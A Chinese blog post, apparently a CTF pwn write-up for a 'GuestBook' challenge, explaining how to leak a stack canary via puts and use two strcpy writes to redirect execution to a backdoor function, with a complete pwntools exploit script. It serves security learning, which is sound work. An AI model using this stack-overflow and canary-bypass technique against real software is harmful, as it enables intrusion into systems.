GuestBooK--pwn

本文最后更新于 2024年10月23日 晚上

GuestBooK–pwn

  • 先利用read与puts,填充掉canary的最后一位,把canary打印出来,用这种不一样的字符方便接收和检验

    1
    payload = b"A"*(0x20-0x8-1)+b"B"+b'C'

image-20231102185214523

然后需要利用strcpy输入两次,第一次把最后一位不对的canary以及后门函数地址输入进去,第二次把canary最后一位改为‘00’

当时没做出来,忘记了这种基础的泄露canary的方式了 》我真该死《

有一些要注意的地方:

  • 填充不一样的字母来方便接收的停顿
  • strcpy遇到00会截断,所以不能有00,第一次注意注入的时候不要被截断掉
  • 第二次利用strcpy会在最后加\x00的特性,来恢复canary的正确值
  • 第二次不是在栈顶输入的,要加0x20
  • 循环中的这个输入没有限制长度(当时做的时候脑抽没想到)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./GuestBook')
#p=remote('',)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()

def debug():
gdb.attach(p)
pause(1)
backdoor_addr = 0x04012C0
payload = b"A"*(0x20-0x8-1)+b"B"+b'C'
#gdb.attach(p)
sd(payload)
ru('B')

canary = u64(rc(8))
print(hex(canary))
sl(b'2')

payload = b'A'*(0xa0-0x8)+p64(canary)*2+p64(backdoor_addr)
sl(payload)

payload = b"A"*(0xa0-0x20-8)
debug()
sl(payload)

p.interactive()

GuestBooK--pwn
https://xyyr-c.github.io/2024/10/23/GuestBooK--pwn/
作者
xyyr
发布于
2024年10月23日
许可协议